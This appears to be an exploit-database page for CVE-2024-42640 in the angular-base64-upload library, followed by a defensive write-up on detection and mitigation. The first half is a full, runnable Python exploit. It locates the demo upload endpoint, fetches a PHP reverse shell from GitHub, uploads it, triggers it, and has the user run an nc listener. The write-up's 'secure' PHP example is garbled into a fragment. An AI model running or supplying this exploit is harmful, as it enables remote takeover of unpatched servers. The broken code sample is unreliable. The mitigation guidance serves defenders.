Angular-Base64-Upload Library 0.1.20 - Remote Code Execution (RCE)

Exploit Author: Ravindu Wickramasinghe Analysis Author: www.bubbleslearn.ir Category: Remote Language: Python Published Date: 2025-04-04
# Exploit Title: Angular-Base64-Upload Library 0.1.20 - Remote Code Execution (RCE)
# Date: 10 October 2024
# Discovered by : Ravindu Wickramasinghe | rvz (@rvizx9) 
# Exploit Author: Ravindu Wickramasinghe | rvz (@rvizx9) 
# Vendor Homepage: https://www.npmjs.com/package/angular-base64-upload
# Software Link: https://github.com/adonespitogo/angular-base64-upload
# Version: prior to v0.1.21 
# Tested on: Arch Linux
# CVE : CVE-2024-42640
# Severity: Critical - 10.0 (CVSS 4.0)
# Github Link : https://github.com/rvizx/CVE-2024-42640
# Blog Post : https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html

# DISCLAIMER: 

# This proof-of-concept (POC) exploit is provided strictly for educational and research purposes. 
# It is designed to demonstrate potential vulnerabilities and assist in testing the security posture of software systems. 
# The author expressly disclaims any responsibility for the misuse of this code for malicious purposes or illegal activities. 
# Any actions taken with this code are undertaken at the sole discretion and risk of the user. 
# The author does not condone, encourage, or support any unauthorized access, intrusion, or disruption of computer systems. 
# Use of this POC exploit in any unauthorized or unethical manner is strictly prohibited. 
# By using this code, you agree to assume all responsibility and liability for your actions. 
# Furthermore, the author shall not be held liable for any damages or legal repercussions resulting from the use or misuse of this code. 
# It is your responsibility to ensure compliance with all applicable laws and regulations governing your use of this software. 
# Proceed with caution and use this code responsibly.

#!/bin/python3

import re
import subprocess
import requests
import sys
import os
import uuid
import base64


def banner():
    print('''

                \033[2mCVE-2024-42640\033[0m - Unauthenticated RCE via Anuglar-Base64-Upload Library \033[2m PoC Exploit
                \033[0mRavindu Wickramasinghe\033[2m | rvz (ラヴィズ) - twitter: @rvizx9
                https://github.com/rvizx/\033[0mCVE-2024-42640

''')


def enum(url):
    print("\033[94m[inf]:\033[0m enumerating for dependency installtion directories... ")
    target = f"{url}/bower_components/angular-base64-upload/demo/index.html"
    r = requests.head(target)
    if r.status_code == 200:
        print("\033[94m[inf]:\033[0m target is using bower_components")
    else:
        print("\033[94m[inf]:\033[0m target is not using bower_components")
        target = f"{url}/node_modules/angular-base64-upload/demo/index.html"
        r = requests.head(target)
        if r.status_code == 200:
            print("\033[94m[inf]:\033[0m target is using node_modules")
        else:
            print("\033[94m[inf]:\033[0m target is not using node_modules")
            print("\033[91m[err]:\033[0m an error occured, it was not possible to enumerate for angular-base64-upload/demo/index.html")
            print("\033[93m[ins]:\033[0m please make sure you've defined the target to the endpoint prior to the depdency installation directory")
            print("\033[93m[ins]:\033[0m for manual exploitation, please refer to this: https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html")
            print("\033[91m[err]:\033[0m exiting..")
            exit()

    version = next((line for line in requests.get(target.replace("demo/index.html","CHANGELOG.md")).text.splitlines() if 'v0' in line), None)
    print("\033[94m[inf]:\033[0m angular-base64-upload version: ",version)
    exploit(target)





def exploit(target):
    print(f"[dbg]: {target}")
    target_server_url = target.replace("index.html","server.php")
    print(f"[dbg]: {target_server_url}")
    payload_url = "https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php"
    print("\033[94m[inf]:\033[0m generating a php reverse shell to upload..")
    ip = input("\033[93m[ins]:\033[0m enter listener ip / domain: ")
    port = input("\033[93m[ins]:\033[0m enter listenter port: ")
    print(f"\033[93m[ins]:\033[0m start a listener, execute nc -lvnp {port}")
    input("\033[93m[ins]:\033[0m press enter to continue...")
    print("\033[94m[inf]:\033[0m downloading php-reverse-shell from github/pentestmonkey...")
    response = requests.get(payload_url)
    if response.status_code == 200:
        php_code = response.text.replace("127.0.0.1", ip).replace("1234", port) # replacing default values with user input 
        payload_name = str(uuid.uuid4())+".php" # using a uuid for payload name
        with open(payload_name, "w") as file:
            file.write(php_code)
    else:
        print("\033[91m[err]:\033[0m failed to fetch the php-reverse-shell.")
        print("\033[91m[err]:\033[0m exiting..")
        exit()
    
    with open(payload_name, 'rb') as file:
        file_content = file.read()
        base64_payload = base64.b64encode(file_content).decode('utf-8')
        
        headers = {
            'Content-Type': 'application/json',
            }
        
        json_data = {
            'base64': base64_payload,
            'filename': payload_name,
            }
        
        response = requests.post(target_server_url, headers=headers, json=json_data, verify=False)
        print("\033[94m[inf]:\033[0m file upload request sent! [status-code]: ",response.status_code)
        updemo_endpoint = f"uploads/{payload_name}"
        print(f"[dbg]: {updemo_endpoint}")
        payload_url = target_server_url.replace("server.php",updemo_endpoint)
        print(f"[dbg]: {payload_url}")
        if response.status_code == 200:
            print(f"\033[94m[inf]:\033[0m reverse-shell is uploaded to {payload_url}")
        print("\033[94m[inf]:\033[0m executing the uploaded reverse-shell..")
        r = requests.get(payload_url)
        
        if r.status_code == 200: 
            print("\033[94m[inf]:\033[0m process complete!")
        else:    
            print("\033[91m[err]:\033[0m something went wrong!")
            
        print("\033[93m[ins]:\033[0m please check the listener for incoming connections.")
        
        
if __name__ == "__main__":
    try:
        banner()
        url = sys.argv[1]
        print(f"\033[94m[inf]:\033[0m target: {url}")
        enum(url)
    except:
        print("[usg]: ./exploit.py <target-url>")
        exit()


Angular-Base64-Upload Library 0.1.20 — CVE-2024-42640: Overview, Analysis and Mitigation

The Angular-Base64-Upload package (prior to v0.1.21) was assigned CVE-2024-42640 after disclosure of an unauthenticated remote code execution (RCE) vector affecting applications that exposed a provided demo endpoint or a similarly misconfigured server-side handler. This article explains the root cause, realistic impact, detection techniques, and practical, defense-oriented mitigations for developers, DevOps and security teams. The goal is to enable secure remediation and hardening without providing exploit steps or unsafe reproduction details.

Quick facts

  • Package: angular-base64-upload
  • Affected versions: prior to v0.1.21
  • CVE: CVE-2024-42640
  • Severity: Critical (RCE when server-side handling allows writing executable files into webroot)
  • Primary cause: unsafe server-side handling of Base64 file uploads combined with permissive file placement/execution

Vulnerability summary and root cause

The published issue is not a flaw in Angular itself but the common server-side pattern used with a convenience/demo handler that accepts JSON payloads with a Base64-encoded file and a filename. When the server decodes and writes the uploaded bytes without sufficient validation, sanitization or storage hardening, an attacker can create a file that gets written into a web-accessible directory and then invoke it to execute arbitrary code.

Two conditions combined to make the defect exploitable in practice:

  • An upload endpoint that decodes and writes arbitrary Base64 content to disk using a filename supplied by the client.
  • Files stored in a location where the web server or application runtime will execute them (for example, writing PHP files into the webroot on a PHP-enabled server).

Mitigation therefore requires fixing server-side behavior and eliminating the ability to serve/execute attacker-controlled files from writable locations.

Impact and use cases

  • Remote Code Execution: If an attacker can upload a script (for example, PHP) and the server will execute it, the attacker gains arbitrary code execution in the context of the webserver process.
  • Data exfiltration / persistence: Compromise enables access to internal files, credentials, or a long-term foothold.
  • Supply chain and demo servers: Demo handlers or forgotten example endpoints often lack authentication and are likely to be reachable in production — these are common risk vectors when libraries include example server code without proper warnings.

Safe, defensive analysis (what to look for)

When triaging you should search for patterns that typically lead to this class of vulnerability. Examples of risky server code patterns (high-level description):

  • Server accepts a JSON body containing "base64" and "filename" fields.
  • Server performs base64 decode and writes bytes to disk under a web-accessible path derived directly from the client-supplied filename.
  • Uploads directory has PHP/CGI/other interpreters enabled or file extensions are not restricted.

Do not attempt to exploit such endpoints. Instead, use detection and remediation steps below to eliminate the risk.

Detection and indicators of compromise (IoCs)

  • Unusual POST requests to endpoints that hint at demo handlers or dependencies (e.g., requests to paths that include node_modules, bower_components, demo, or similarly named files).
  • Requests with JSON bodies containing a large "base64" field or suspicious filenames (for example, requests that include ".php", ".phtml", ".jsp", ".aspx").
  • Newly created files in uploads or public directories with executable file extensions.
  • Webserver logs showing GET requests resulting in code execution errors or uncommon server responses after file creation timestamps.

Set up log-based alerting for POST requests with large JSON base64 payloads, file creation events in webroot, or new files with executable extensions. Correlate with process activity to detect newly spawned shells or outbound connections.

Mitigation: immediate actions

  • Upgrade the dependency to the patched release: update angular-base64-upload to v0.1.21 or later where the demo handler is no longer exposed in typical production builds (or where guidance is explicit).
  • Temporarily disable or firewall any demo handlers, example endpoints or unintended API routes until they are audited.
  • Ensure the uploads storage location is not in webroot. Store user-controlled files outside the document root and serve them through a controlled, non-executable delivery mechanism (signed URLs, object storage, or streaming endpoints that never execute content).
  • Disallow execution of uploaded files: use webserver configuration to prevent execution of interpreted files in any uploads directory.
  • Enforce allowed file types/whitelists and validate both filename and file content (MIME sniffing and magic bytes), not just extension or client-provided MIME type.
  • Use strong random names (server-generated) and strip path traversal characters from user-supplied filenames.

Example: nginx configuration to prevent PHP execution in an uploads directory


# Place this inside your server block or in an include used for uploads directories
location /uploads/ {
    # Do not process PHP files here
    location ~ \.php$ {
        deny all;
        return 403;
    }

    # Serve static files normally
    try_files $uri =404;
}

Explanation: This nginx snippet ensures that any files under /uploads/ are treated as static content and any request attempting to access a file with a .php extension is explicitly denied. Using try_files prevents fallback to PHP handlers elsewhere in the configuration.

Secure server-side handling: recommended pattern

Below is a defensive, non-executable PHP example that demonstrates safe handling of Base64 uploads. It purposefully omits unsafe behavior (no execution of uploaded content, strict allowed extensions, storage outside webroot, and thorough validation).


 $filename]);
?>

Explanation: This code demonstrates secure handling rules: it uses a whitelist of non-executable extensions, decodes base64 with strict checking, strips any path components from the supplied filename, generates a server-controlled filename, stores the file outside of the webroot and sets conservative file permissions. The example intentionally avoids any step that would enable execution of uploaded content.

Hardening checklist for teams

  • Update dependencies and enforce dependency policies: use a lockfile, pin to secure versions, and run npm audit / Snyk / OSS scanning during CI.
  • Remove or secure example/demo server endpoints before deploying to production.
  • Place uploads outside the document root; if storage in object storage (S3-compatible) is possible, prefer that and use signed, time-limited downloads.
  • Restrict allowed file types and validate content with magic-byte checks.
  • Generate server-controlled filenames and remove user-controllable path information.
  • Apply the principle of least privilege on storage directories and file permissions.
  • Continuously monitor logs and set alerts for large base64 uploads, new files in webroot, and requests to demo/example paths.

Testing, verification and incident response

After patching and hardening:

  • Verify that uploading files with executable extensions is rejected or stored without execute permission.
  • Confirm webserver will not execute files in upload storage (try to request a benign .php file in the uploads area and verify a 403 or a static download but no execution).
  • Perform code and configuration reviews to ensure no forgotten demo handlers remain accessible.
  • If suspicious activity is found, collect logs, preserve disk images, rotate credentials, and follow your organization’s incident response plan.

Timeline and responsible disclosure

Vulnerabilities like CVE-2024-42640 emphasize that example/demo artifacts distributed with client libraries must not be treated as production-safe code. Vendors and maintainers should clearly mark demo code and avoid providing shipping server endpoints that decode and store arbitrary client data into web-accessible, executable locations.

Further reading and resources

  • OWASP: Unrestricted File Upload — secure patterns and mitigations
  • Best practices for handling user-uploaded files (store outside webroot, whitelist content, enforce permissions)
  • Dependency management: npm audit, Snyk, GitHub Dependabot, and SBOMs

Final notes

Do not attempt to exploit vulnerable endpoints. If you operate systems that used angular-base64-upload demos or similar server handlers, treat the presence of demo endpoints as a high-risk indicator and follow the mitigation steps above immediately: update the package, remove demo endpoints, store uploads outside webroot, and harden server configuration. Prioritize detection and containment if you suspect misuse.